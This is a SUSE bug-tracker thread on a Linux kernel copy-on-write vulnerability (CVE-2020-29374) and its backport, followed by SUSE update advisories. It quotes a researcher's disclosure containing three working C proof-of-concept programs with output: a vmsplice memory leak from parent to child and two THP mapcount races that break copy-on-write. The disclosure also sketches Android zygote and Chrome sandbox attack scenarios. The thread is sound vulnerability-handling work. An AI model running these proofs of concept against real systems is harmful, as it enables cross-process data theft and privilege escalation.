Bug 1179428 (CVE-2020-29374)

tracking these codestreams as affected:
- SUSE:SLE-12-SP2:Update/kernel-source
- SUSE:SLE-12-SP3:Update/kernel-source
- SUSE:SLE-12-SP3:Update:Products:Teradata:Update/kernel-source
- SUSE:SLE-12-SP4:Update/kernel-source
- SUSE:SLE-12-SP5:Update/kernel-source
- SUSE:SLE-15:Update/kernel-source
- SUSE:SLE-15-SP1:Update/kernel-source
- SUSE:SLE-15-SP2:Update/kernel-source
- SUSE:SLE-15-SP3:Update/kernel-source

The issue goes back to May and there was apparently 3 months embargo on it back then. Judging from people CCed on the commit I suspect this went through security@kernel.org. I am not on that list and I do not remember any side discussions either.

Anyway let me quote the explanation from Jann:
"
== Page refcount isn't being accounted for ==
This one's fairly straightforward:

```
$ cat vmsplice.c
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <err.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <sys/wait.h>

#define SYSCHK(x) ({          \
  typeof(x) __res = (x);      \
  if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
  __res;                      \
})

static void *data;

static void child_fn(void) {
  int pipe_fds[2];
  SYSCHK(pipe(pipe_fds));
  struct iovec iov = {.iov_base = data, .iov_len = 0x1000 };
  SYSCHK(vmsplice(pipe_fds[1], &iov, 1, 0));
  SYSCHK(munmap(data, 0x1000));
  sleep(2);
  char buf[0x1000];
  SYSCHK(read(pipe_fds[0], buf, 0x1000));
  printf("read string from child: %s\n", buf);
}

int main(void) {
  if (posix_memalign(&data, 0x1000, 0x1000))
    errx(1, "posix_memalign()");
  strcpy(data, "BORING DATA");

  pid_t child = SYSCHK(fork());
  if (child == 0) {
    child_fn();
    return 0;
  }

  sleep(1);
  strcpy(data, "THIS IS SECRET");

  int status;
  SYSCHK(wait(&status));
}
$ gcc -o vmsplice vmsplice.c && ./vmsplice
read string from child: THIS IS SECRET
$
```

As you can see, the fork() child can read memory from the parent by grabbing a
refcounted reference to a page with vmsplice(), then dropping the page from its
pagetables. This is because the CoW fault handler grants the parent write access
to the original page if its mapcount indicates that nobody else has it mapped.

This could potentially have security implications in environments like Android,
where (almost) all apps are forked from a common zygote process. In the
following scenario, this would lead to data leakage between apps:

 - zygote writes to page X (ensuring that any preexisting CoW is broken)
 - zygote forks off an attacker-controlled child process C1
 - C1 grabs page X into a pipe with vmsplice()
 - C1 drops its mapcount on page X
 - zygote forks off a victim child process C2
 - zygote writes to page X (resolving CoW fault by duplicating the page)
 - C2 writes secret data to page X (resolving CoW fault by granting write access
   to the original page)
 - C1 reads secret data from the pipe

However, so far I haven't managed to actually leak data from another app with
this one.


== THP mapcount check is racy ==
This one is somewhat more severe. Basically, there is a race between
__split_huge_pmd_locked() and page_trans_huge_map_swapcount() that can cause the
THP CoW fault path to ignore up to two other mappings if one other process is
concurrently shattering its THP mapping. I think this may have been introduced in commit 6d0a07edd17c ("mm: thp: calculate the mapcount correctly for THP pages during WP faults").

page_trans_huge_map_swapcount() first looks at 4K mapcounts, then looks at the
DoubleMap flag and the compound_mapcount(page).
__split_huge_pmd_locked() can concurrently move references from the
compound mapcount over to the 4K mapcounts.
There are no common locks between the two.
Therefore, essentially, page_trans_huge_map_swapcount() can observe the old
state of the 4K mapcounts (which don't yet account for the other mapping)
combined with the new state of the hugepage mapcount (which doesn't account for
the other mapping anymore).

It is possible for not just one, but two mappings to be ignored because of the
DoubleMap flag: If page_trans_huge_map_swapcount() observes the old state
of the 4K mapcounts, but the new state of the DoubleMap flag, it will
incorrectly subtract 1 from the result in addition to not observing the mapcount
of the __split_huge_pmd_locked() caller.

Here is a PoC that demonstrates the issue with two mappings (testing in a KVM
guest):

-----------------------------------------------------------
user@vm:~/tmp/transhuge$ cat thp_munmap.c
#include <sys/mman.h>
#include <err.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/eventfd.h>

int main(void) {
  volatile char *mapping = mmap((void*)0x200000, 0x200000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");
  *mapping = 1;
  system("cat /proc/$PPID/smaps | head -n40; echo =======================");

  int efd = eventfd(0, 0);

  unsigned long long iteration = 0;
  while (1) {
    iteration++;
    *mapping = 1;
    pid_t child = fork();
    if (child == -1) err(1, "fork");
    if (child == 0) {
      if (munmap((void*)(mapping+0x1000), 0x1f0000)) err(1, "munmap");

      // wait for parent to tell us to measure and exit
      uint64_t dummy;
      if (eventfd_read(efd, &dummy)) err(1, "eventfd_read");

      if (*mapping != 1)
        errx(1, "broken cow: expected 1, got %hhd, in iteration %llu", *mapping, iteration);
      //system("cat /proc/$PPID/smaps | head -n40; echo =======================");
      exit(0);
    }

    *mapping = 2;

    // tell child to continue
    if (eventfd_write(efd, 1)) err(1, "eventfd_write");

    int status;
    if (waitpid(child, &status, 0) != child) err(1, "waitpid");
  }
}
user@vm:~/tmp/transhuge$ gcc -o thp_munmap thp_munmap.c
user@vm:~/tmp/transhuge$ ./thp_munmap 
00200000-00400000 rw-p 00000000 00:00 0 
Size:               2048 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                2048 kB
Pss:                2048 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:      2048 kB
Referenced:         2048 kB
Anonymous:          2048 kB
LazyFree:              0 kB
AnonHugePages:      2048 kB
[...]
=======================
thp_munmap: broken cow: expected 1, got 2, in iteration 48580
thp_munmap: broken cow: expected 1, got 2, in iteration 239811
^C
user@vm:~/tmp/transhuge$ 
-----------------------------------------------------------

By relying on khugepaged, it is even possible to trigger this issue without
explicit mm syscalls, just malloc(), fork() and free(), as long as the kernel is
configured to automatically collapse hugepages with khugepaged (which seems to
be the case e.g. on Debian):

-----------------------------------------------------------
$ cat thp_malloc_large_nosleep.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <err.h>
#include <sys/eventfd.h>
#include <sys/poll.h>
#include <sys/wait.h>

int main(void) {
  int efd = eventfd(0, 0);

  char *a = malloc(0x1fe000);
  char *b = malloc(0x1fe000);

  printf("a = %p, b = %p\n", a, b);

  printf("waiting for keypress...\n");

  // we want khugepaged to create a hugepage that
  // covers parts of `a` and `b` here
  while (1) {
    struct pollfd pollfd = {.fd = 0, .events = POLLIN};
    if (poll(&pollfd, 1, 1000) == 1)
      break;
    memset(a, 'A', 0x1fe000);
    memset(b, 'B', 0x1fe000);
  }

  unsigned long long iteration = 0;
  while (1) {
    iteration++;
    a[0] = 1;
    pid_t child = fork();
    if (child == -1) err(1, "fork");
    if (child == 0) {
      // shatter hugepage
      free(b);

      // wait for parent to tell us to measure and exit
      uint64_t dummy;
      if (eventfd_read(efd, &dummy)) err(1, "eventfd_read");

      if (a[0] != 1)
        printf("broken cow: expected 1, got %hhd, in iteration %llu\n",
               a[0], iteration);
      exit(0);
    }

    // normally this should copy the hugepage (or fall back to
    // creating a 4K-page copy), but if we win the race it'll
    // write directly to the original page
    a[0] = 2;

    // tell child to continue
    if (eventfd_write(efd, 1)) err(1, "eventfd_write");

    int status;
    if (waitpid(child, &status, 0) != child) err(1, "waitpid");
  }
}
$ gcc -O2 -o thp_malloc_large_nosleep thp_malloc_large_nosleep.c
$ ./thp_malloc_large_nosleep 
a = 0x7f49c2e28010, b = 0x7f49c2c29010
waiting for keypress...
[wait until khugepaged has collapsed the page according to smaps,
then press enter and wait]

broken cow: expected 1, got 2, in iteration 333209
broken cow: expected 1, got 2, in iteration 703886
broken cow: expected 1, got 2, in iteration 850974
broken cow: expected 1, got 2, in iteration 1014706
broken cow: expected 1, got 2, in iteration 1137223
broken cow: expected 1, got 2, in iteration 1143961
broken cow: expected 1, got 2, in iteration 1176183
broken cow: expected 1, got 2, in iteration 1970669
^C
$
-----------------------------------------------------------


The three-process version of this is probably more interesting for local
privilege escalation attacks (since you can gain write access to the memory of a
process that is not participating in the race at all); however, it also has a
much narrower race window: One process needs to go through the critical section
of __split_huge_pmd_locked() while another one is stuck in this part of
page_trans_huge_map_swapcount():

        for (i = 0; i < HPAGE_PMD_NR; i++) {
                // race region begins with this atomic_read() in the
                // last iteration
                mapcount = atomic_read(&page[i]._mapcount) + 1;
                _total_mapcount += mapcount;
                if (map) {
                        swapcount = swap_count(map[offset + i]);
                        _total_swapcount += swapcount;
                }
                map_swapcount = max(map_swapcount, mapcount + swapcount);
        }
        unlock_cluster(ci);
        // race region ends with the PG_double_map test in here
        if (PageDoubleMap(page)) {
                map_swapcount -= 1;
                _total_mapcount -= HPAGE_PMD_NR;
        }
        mapcount = compound_mapcount(page);

An attacker can't preempt the task here because it's holding a spinlock; but
IRQs are on, so e.g. TLB flush IPIs from another thread can interrupt execution
for quite some time. (But I haven't really figured out yet how accurately you
could hit this race; according to some early experiments I've done, it looks
like if you know the exact configuration of the system, you may be able to cause
the TLB flush to happen in the race window with a probability around 0.3% or so,
and then you'd need to additionally have __split_huge_pmd_locked() happen at the
right time.)

If an attacker could write a sufficiently fast attack for this issue, they might
be able to use it to break out of e.g. the Chrome renderer sandbox on normal
Linux desktop systems - Chrome on Linux creates untrusted renderers as child
processes of a "zygote" process, which doesn't seem to be fully sandboxed, so an
attacker controlling two of its children could potentially use this bug to cause
memory corruption in the zygote.
"

pushed to 15-sp2. cve/linux-4.12 will need more work and older kernels as well. I need to think whether backporting prior to 4.6 based kernels is really necessary. The THP issue shouldn't be present and the first mentioned problem sounds less critical as per my current understanding. But let me think some more about that.

Jan has pointed me at c444eb564fb "mm: thp: make the THP mapcount atomic against __split_huge_pmd_locked()" which is fixing the THP side. Is it possible that this one will get its own CVE?

17839856fd58 ("gup: document and work around "COW can break either way" issue") is only targeting the general CoW part. And Jan has let me know that this one turned out to be problematic and had some fallouts. Some of which have been only fixed in 5.10 merge window and heavily depending on long term pins tracking. He will follow up on that.

(In reply to Michal Hocko from comment #4)
> pushed to 15-sp2.

Patch has been dropped from 15-sp2. I have retracted my pull request before it has been merged.

Yep, as Michal writes THP side got fixed by:

c444eb564fb ("mm: thp: make the THP mapcount atomic against __split_huge_pmd_locked()")

and was generally unproblematic. The general GUP part initially addressed by

17839856fd58 ("gup: document and work around "COW can break either way" issue")

was quite problematic. It broke DAX (https://lore.kernel.org/lkml/alpine.LRH.2.02.2009031328040.6929@file01.intranet.prod.int.rdu2.redhat.com/) and userfault-fd (https://lore.kernel.org/lkml/20200810145701.129228-1-peterx@redhat.com). The merge commit:

b25d1dc9474e ("Merge branch 'simplify-do_wp_page'")

roughly outlines the issues (emails with details linked above) and merges couple of patches that attempt to fix them. Then there was a bug in these fixes (09854ba94c6 ("mm: do_wp_page() simplification") in particular) fixed by:

be068f29034f ("mm: fix misplaced unlock_page in do_wp_page()")

and also that fix broke RDMA (https://lore.kernel.org/lkml/20200914143829.GA1424636@nvidia.com) whose users rely on COW *not breaking* in some cases. Then there were lots of discussions how to get out of this mess. In the end we decided to preemptively do COW of pinned pages on fork(). Linus merged this as:

008cfe4418b3 ("mm: Introduce mm_struct.has_pinned")
7a4830c380f3 ("mm/fork: Pass new vma pointer into copy_page_range()")
70e806e4e645 ("mm: Do early cow for pinned pages during fork() for ptes")
d042035eaf5f ("mm/thp: Split huge pmds/puds if they're pinned when fork()")

Note that this series is using page_maybe_dma_pinned() infrastructure which got merged recently so we cannot easily backport it...

Now even these patches had some issues. One causing oops was fixed up in:

a4d63c3732f1 ("mm: do not rely on mm == current->mm in __get_user_pages_locked")

and one breaking ppc arch in:

f3c64eda3e50 ("mm: avoid early COW write protect games during fork()")

and there was still a small race window after this which got addressed in a series from Jason Gunthorpe (https://lore.kernel.org/lkml/0-v4-908497cf359a+4782-gup_fork_jgg@nvidia.com) which is currently sitting in MM tree (not merged to Linus' tree yet).

So that's the history of this issue I was able to reconstruct from my memory / mailbox.

The question is what we're going to do for our kernels. We can certainly take the THP fix from c444eb564fbb which fixes the more severe issue (Jann describes it as possible local priviledge escalation in his "== THP mapcount check is racy ==" section above).

WRT the first problem, the implication of that seems to be that a child can peek at parent's pages which it had mapped at fork time. Since contents of these pages can be changed by the parent without triggering COW, the child can possibly learn information it isn't supposed to learn. Upstream solution for this isn't really usable for us (either it breaks some existing users or, in its final incarnation, uses page_may_be_dma_pinned() infrastructure we don't have in any kernel and which was fairly intrusive). So to fix this we have to come up with something ourselves (or decide we don't care about this particular vulnerability).

I was thinking how we could possibly address this and the best solution I came up with was - backport the do_wp_page() simplification (09854ba94c6 ("mm: do_wp_page() simplification")) and then to fix RDMA we'd backport the upstream series (and the fixups) except that instead of page_maybe_dma_pinned() we'd check whether the page refcount is larger than expected and force COW in that case. It would have higher false positive rate than page_maybe_dma_pinned() check but it might be bearable. Michal, what do you think?

Thanks a lot for the summary. I am still not done reading the s@k.o discussion and I am even further away from reading all the follow up discussions so this is really helpful.

I will have a look at the patch from Andrea for the THP. I still have to wrap my head around the actual state prior to 6d0a07edd17c ("mm: thp: calculate the mapcount correctly for THP pages during WP faults") because the above discussion suggests that there are some security implications for kernels without that commit. There were no specifics and no CVE mentioned.

It is also rather unexpected to track both issues as a single CVE although Mitre seems to suggest exactly that. For one thing the two have considerably different consequences and importance IMHO. Marcus can we learn more from the CVE process perspective?

Now to the issue 1) (regular page CoW). I still have to think about that but considering how complex the fix is (and still full of corner cases) and the actual usecases suffering from the problem I am not yet convinced we want to go an extra mile and backport all that just to close it. AFAIU the primary usecase to suffer is parent/child through fork (without exec) when parent doesn't trust its children. An example would be Android with its Zygote. Let me quote Jann with more details on that
"
Yeah, Android basically has a big fat "zygote" process that listens on
a socket, running with CAP_SYS_ADMIN and CAP_SETUID and so on; and
every time the "system_server" wants to launch an app, it sends a
message to the zygote, and then the zygote forks off a child that
drops privileges to the UID and GID and SELinux context for that app,
configures a bunch of other things, and in the end essentially
dlopen()s the app and jumps into it. (Well, technically the initial
jump goes into compiled Java code, but you can then call from there
into native libraries belonging to the app, and can do arbitrary
syscalls and stuff, subject to Android's seccomp policy.) Launching an
app on an Android device does not go through execve().

AFAIK the reason they do this is that it lets them avoid both the
latency incurred from launching their Java environment and the memory
overhead from all the memory that gets dirtied during app startup.
IIRC on system startup, the zygote pre-loads a ton of system libraries
so that individual apps don't have to do that anymore.
"

This is rather unusual security model and I do not think we are offering anything similar in our distribution. Moreover we have already used a "child is effectively trusted argument" in the past IIRC. If a parent contains secrets that children are not supposed to see then MADV_WIPEONFORK should be used (this is available at least to 15sp2 IIRC).

Btw. is it even properly defined to use page pinning on CoW pages over fork? I thought this was effectively "it might work but do not do that" but I cannot find any authoritative documentation.

(In reply to Michal Hocko from comment #10)
> Btw. is it even properly defined to use page pinning on CoW pages over fork?
> I thought this was effectively "it might work but do not do that" but I
> cannot find any authoritative documentation.

Yes, CoW pages and GUP was always problematic but in this particular case the defect caused by Linus' patch which broke RDMA was really a surprising one. It was process A using anon page P as an RDMA buffer. After this is set up, process A forks (e.g. to execute something via system(3)) and the child "accidentally" inherits the mapping of P. During fork, the mapping of P gets writeprotected to handle CoW both in parent and the child. After fork (and the child could even have already exited) the parent tries to access the RDMA buffer - which causes CoW break after Linus' changes because parent's mapping of the page P is writeprotected. And this is really surprising because the child never had anything to do with P and it doesn't even need to exist anymore during the time of access...

(In reply to Michal Hocko from comment #6)
> Jan has pointed me at c444eb564fb "mm: thp: make the THP mapcount atomic
> against __split_huge_pmd_locked()" which is fixing the THP side. Is it
> possible that this one will get its own CVE?

Yup, this is bug 1179428 (aka CVE-2020-29368).

(In reply to Michal Hocko from comment #12)
> (In reply to Michal Hocko from comment #6)
> > Jan has pointed me at c444eb564fb "mm: thp: make the THP mapcount atomic
> > against __split_huge_pmd_locked()" which is fixing the THP side. Is it
> > possible that this one will get its own CVE?
> 
> Yup, this is bug 1179428 (aka CVE-2020-29368).

FTR, the correct number is bug 1179660

closing

*** This bug has been marked as a duplicate of bug 1179660 ***

openSUSE-SU-2021:0393-1: An update that solves 9 vulnerabilities and has 115 fixes is now available.

Category: security (important)
Bug References: 1065600,1065729,1078720,1081134,1084610,1132477,1151927,1152472,1152489,1154353,1155518,1156395,1163776,1169514,1170442,1176248,1176855,1177109,1177326,1177440,1177529,1178142,1178995,1179082,1179137,1179243,1179428,1179660,1179929,1180058,1180846,1180964,1180989,1181133,1181259,1181544,1181574,1181637,1181655,1181671,1181674,1181710,1181720,1181735,1181736,1181738,1181747,1181753,1181818,1181843,1181854,1181896,1181958,1181960,1181985,1182047,1182118,1182128,1182140,1182171,1182175,1182259,1182265,1182266,1182267,1182268,1182271,1182272,1182273,1182275,1182276,1182278,1182283,1182374,1182380,1182381,1182406,1182430,1182439,1182441,1182442,1182443,1182444,1182445,1182446,1182447,1182449,1182454,1182455,1182456,1182457,1182458,1182459,1182460,1182461,1182462,1182463,1182464,1182465,1182466,1182485,1182489,1182490,1182547,1182558,1182560,1182561,1182571,1182599,1182602,1182626,1182650,1182672,1182676,1182683,1182684,1182686,1182697,1182770,1182798,1182800,1182801,1182854,1182856
CVE References: CVE-2020-12362,CVE-2020-12363,CVE-2020-12364,CVE-2020-12373,CVE-2020-29368,CVE-2020-29374,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932
JIRA References: 
Sources used:
openSUSE Leap 15.2 (src):    kernel-debug-5.3.18-lp152.66.2, kernel-default-5.3.18-lp152.66.2, kernel-default-base-5.3.18-lp152.66.2.lp152.8.23.2, kernel-docs-5.3.18-lp152.66.2, kernel-kvmsmall-5.3.18-lp152.66.2, kernel-obs-build-5.3.18-lp152.66.2, kernel-obs-qa-5.3.18-lp152.66.2, kernel-preempt-5.3.18-lp152.66.2, kernel-source-5.3.18-lp152.66.2, kernel-syms-5.3.18-lp152.66.2

SUSE-SU-2021:0738-1: An update that solves 9 vulnerabilities and has 114 fixes is now available.

Category: security (important)
Bug References: 1065600,1065729,1078720,1081134,1084610,1132477,1151927,1152472,1152489,1154353,1155518,1156395,1163776,1169514,1170442,1176248,1176855,1177109,1177326,1177440,1177529,1178142,1178995,1179082,1179137,1179243,1179428,1179660,1179929,1180058,1180846,1180964,1180989,1181133,1181259,1181544,1181574,1181637,1181655,1181671,1181674,1181710,1181720,1181735,1181736,1181738,1181747,1181753,1181818,1181843,1181854,1181896,1181958,1181960,1181985,1182047,1182118,1182128,1182140,1182171,1182175,1182259,1182265,1182266,1182267,1182268,1182271,1182272,1182273,1182275,1182276,1182278,1182283,1182374,1182380,1182381,1182406,1182430,1182439,1182441,1182442,1182443,1182444,1182445,1182446,1182447,1182449,1182454,1182455,1182456,1182457,1182458,1182459,1182460,1182461,1182462,1182463,1182464,1182465,1182466,1182485,1182489,1182490,1182547,1182558,1182560,1182561,1182571,1182599,1182602,1182626,1182650,1182672,1182676,1182683,1182684,1182686,1182770,1182798,1182800,1182801,1182854,1182856
CVE References: CVE-2020-12362,CVE-2020-12363,CVE-2020-12364,CVE-2020-12373,CVE-2020-29368,CVE-2020-29374,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932
JIRA References: 
Sources used:
SUSE Linux Enterprise Module for Public Cloud 15-SP2 (src):    kernel-azure-5.3.18-18.38.1, kernel-source-azure-5.3.18-18.38.1, kernel-syms-azure-5.3.18-18.38.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

SUSE-SU-2021:0735-1: An update that solves 9 vulnerabilities and has 112 fixes is now available.

Category: security (important)
Bug References: 1065600,1065729,1078720,1081134,1084610,1132477,1151927,1152472,1152489,1154353,1155518,1156395,1163776,1169514,1170442,1176248,1176855,1177109,1177326,1177440,1177529,1178142,1179082,1179137,1179243,1179428,1179660,1179929,1180058,1180846,1180989,1181133,1181259,1181574,1181637,1181655,1181671,1181674,1181710,1181720,1181735,1181736,1181738,1181747,1181753,1181818,1181843,1181854,1181896,1181958,1181960,1181985,1182047,1182118,1182128,1182140,1182171,1182175,1182259,1182265,1182266,1182267,1182268,1182271,1182272,1182273,1182275,1182276,1182278,1182283,1182374,1182380,1182381,1182406,1182430,1182439,1182441,1182442,1182443,1182444,1182445,1182446,1182447,1182449,1182454,1182455,1182456,1182457,1182458,1182459,1182460,1182461,1182462,1182463,1182464,1182465,1182466,1182485,1182489,1182490,1182547,1182558,1182560,1182561,1182571,1182599,1182602,1182626,1182650,1182672,1182676,1182683,1182684,1182686,1182770,1182798,1182800,1182801,1182854,1182856,1183022
CVE References: CVE-2020-12362,CVE-2020-12363,CVE-2020-12364,CVE-2020-12373,CVE-2020-29368,CVE-2020-29374,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932
JIRA References: 
Sources used:
SUSE Linux Enterprise Module for Realtime 15-SP2 (src):    kernel-rt-5.3.18-28.1, kernel-rt_debug-5.3.18-28.1, kernel-source-rt-5.3.18-28.1, kernel-syms-rt-5.3.18-28.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

SUSE-SU-2021:0741-1: An update that solves 9 vulnerabilities and has 117 fixes is now available.

Category: security (important)
Bug References: 1065600,1065729,1078720,1081134,1084610,1132477,1151927,1152472,1152489,1154353,1155518,1156395,1163776,1169514,1170442,1176248,1176855,1177109,1177326,1177440,1177529,1178142,1178995,1179082,1179137,1179243,1179428,1179660,1179929,1180058,1180846,1180964,1180989,1181133,1181259,1181544,1181574,1181637,1181655,1181671,1181674,1181710,1181720,1181735,1181736,1181738,1181747,1181753,1181818,1181843,1181854,1181896,1181958,1181960,1181985,1182047,1182110,1182118,1182128,1182140,1182171,1182175,1182259,1182265,1182266,1182267,1182268,1182271,1182272,1182273,1182275,1182276,1182278,1182283,1182341,1182374,1182380,1182381,1182406,1182430,1182439,1182441,1182442,1182443,1182444,1182445,1182446,1182447,1182449,1182454,1182455,1182456,1182457,1182458,1182459,1182460,1182461,1182462,1182463,1182464,1182465,1182466,1182485,1182489,1182490,1182507,1182547,1182558,1182560,1182561,1182571,1182599,1182602,1182626,1182650,1182672,1182676,1182683,1182684,1182686,1182770,1182798,1182800,1182801,1182854,1182856
CVE References: CVE-2020-12362,CVE-2020-12363,CVE-2020-12364,CVE-2020-12373,CVE-2020-29368,CVE-2020-29374,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932
JIRA References: 
Sources used:
SUSE MicroOS 5.0 (src):    kernel-default-5.3.18-24.52.1, kernel-default-base-5.3.18-24.52.1.9.24.1
SUSE Linux Enterprise Workstation Extension 15-SP2 (src):    kernel-default-5.3.18-24.52.1, kernel-preempt-5.3.18-24.52.1
SUSE Linux Enterprise Module for Live Patching 15-SP2 (src):    kernel-default-5.3.18-24.52.1, kernel-livepatch-SLE15-SP2_Update_11-1-5.3.1
SUSE Linux Enterprise Module for Legacy Software 15-SP2 (src):    kernel-default-5.3.18-24.52.1
SUSE Linux Enterprise Module for Development Tools 15-SP2 (src):    kernel-docs-5.3.18-24.52.1, kernel-obs-build-5.3.18-24.52.1, kernel-preempt-5.3.18-24.52.1, kernel-source-5.3.18-24.52.1, kernel-syms-5.3.18-24.52.1
SUSE Linux Enterprise Module for Basesystem 15-SP2 (src):    kernel-default-5.3.18-24.52.1, kernel-default-base-5.3.18-24.52.1.9.24.1, kernel-preempt-5.3.18-24.52.1, kernel-source-5.3.18-24.52.1
SUSE Linux Enterprise High Availability 15-SP2 (src):    kernel-default-5.3.18-24.52.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

SUSE-SU-2021:0736-1: An update that solves 5 vulnerabilities and has 14 fixes is now available.

Category: security (important)
Bug References: 1065600,1163592,1176831,1178401,1178762,1179014,1179015,1179045,1179082,1179428,1179660,1180058,1180906,1181441,1181747,1181753,1181843,1182140,1182175
CVE References: CVE-2020-29368,CVE-2020-29374,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932
JIRA References: 
Sources used:
SUSE OpenStack Cloud Crowbar 9 (src):    kernel-default-4.12.14-95.71.1, kernel-source-4.12.14-95.71.1, kernel-syms-4.12.14-95.71.1
SUSE OpenStack Cloud 9 (src):    kernel-default-4.12.14-95.71.1, kernel-source-4.12.14-95.71.1, kernel-syms-4.12.14-95.71.1
SUSE Linux Enterprise Server for SAP 12-SP4 (src):    kernel-default-4.12.14-95.71.1, kernel-source-4.12.14-95.71.1, kernel-syms-4.12.14-95.71.1
SUSE Linux Enterprise Server 12-SP4-LTSS (src):    kernel-default-4.12.14-95.71.1, kernel-source-4.12.14-95.71.1, kernel-syms-4.12.14-95.71.1
SUSE Linux Enterprise Live Patching 12-SP4 (src):    kernel-default-4.12.14-95.71.1, kgraft-patch-SLE12-SP4_Update_19-1-6.3.1
SUSE Linux Enterprise High Availability 12-SP4 (src):    kernel-default-4.12.14-95.71.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

SUSE-SU-2021:0737-1: An update that solves 5 vulnerabilities and has 14 fixes is now available.

Category: security (important)
Bug References: 1065600,1163617,1170442,1176855,1179082,1179428,1179660,1180058,1180262,1180964,1181671,1181747,1181753,1181843,1181854,1182047,1182130,1182140,1182175
CVE References: CVE-2020-29368,CVE-2020-29374,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932
JIRA References: 
Sources used:
SUSE Manager Server 4.0 (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1, kernel-zfcpdump-4.12.14-197.86.1
SUSE Manager Retail Branch Server 4.0 (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1
SUSE Manager Proxy 4.0 (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1
SUSE Linux Enterprise Server for SAP 15-SP1 (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1
SUSE Linux Enterprise Server 15-SP1-LTSS (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1, kernel-zfcpdump-4.12.14-197.86.1
SUSE Linux Enterprise Server 15-SP1-BCL (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1
SUSE Linux Enterprise Module for Live Patching 15-SP1 (src):    kernel-default-4.12.14-197.86.1, kernel-livepatch-SLE15-SP1_Update_23-1-3.3.1
SUSE Linux Enterprise High Performance Computing 15-SP1-LTSS (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1
SUSE Linux Enterprise High Performance Computing 15-SP1-ESPOS (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1
SUSE Linux Enterprise High Availability 15-SP1 (src):    kernel-default-4.12.14-197.86.1
SUSE Enterprise Storage 6 (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1
SUSE CaaS Platform 4.0 (src):    kernel-default-4.12.14-197.86.1, kernel-docs-4.12.14-197.86.1, kernel-obs-build-4.12.14-197.86.1, kernel-source-4.12.14-197.86.1, kernel-syms-4.12.14-197.86.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

SUSE-SU-2021:0740-1: An update that solves 5 vulnerabilities and has 11 fixes is now available.

Category: security (important)
Bug References: 1065600,1163592,1178401,1178762,1179014,1179015,1179045,1179082,1179428,1179660,1180058,1181747,1181753,1181843,1182140,1182175
CVE References: CVE-2020-29368,CVE-2020-29374,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932
JIRA References: 
Sources used:
SUSE Linux Enterprise Server for SAP 15 (src):    kernel-default-4.12.14-150.69.1, kernel-docs-4.12.14-150.69.1, kernel-obs-build-4.12.14-150.69.1, kernel-source-4.12.14-150.69.1, kernel-syms-4.12.14-150.69.1, kernel-vanilla-4.12.14-150.69.1
SUSE Linux Enterprise Server 15-LTSS (src):    kernel-default-4.12.14-150.69.1, kernel-docs-4.12.14-150.69.1, kernel-obs-build-4.12.14-150.69.1, kernel-source-4.12.14-150.69.1, kernel-syms-4.12.14-150.69.1, kernel-vanilla-4.12.14-150.69.1, kernel-zfcpdump-4.12.14-150.69.1
SUSE Linux Enterprise Module for Live Patching 15 (src):    kernel-default-4.12.14-150.69.1, kernel-livepatch-SLE15_Update_23-1-1.3.1
SUSE Linux Enterprise High Performance Computing 15-LTSS (src):    kernel-default-4.12.14-150.69.1, kernel-docs-4.12.14-150.69.1, kernel-obs-build-4.12.14-150.69.1, kernel-source-4.12.14-150.69.1, kernel-syms-4.12.14-150.69.1, kernel-vanilla-4.12.14-150.69.1
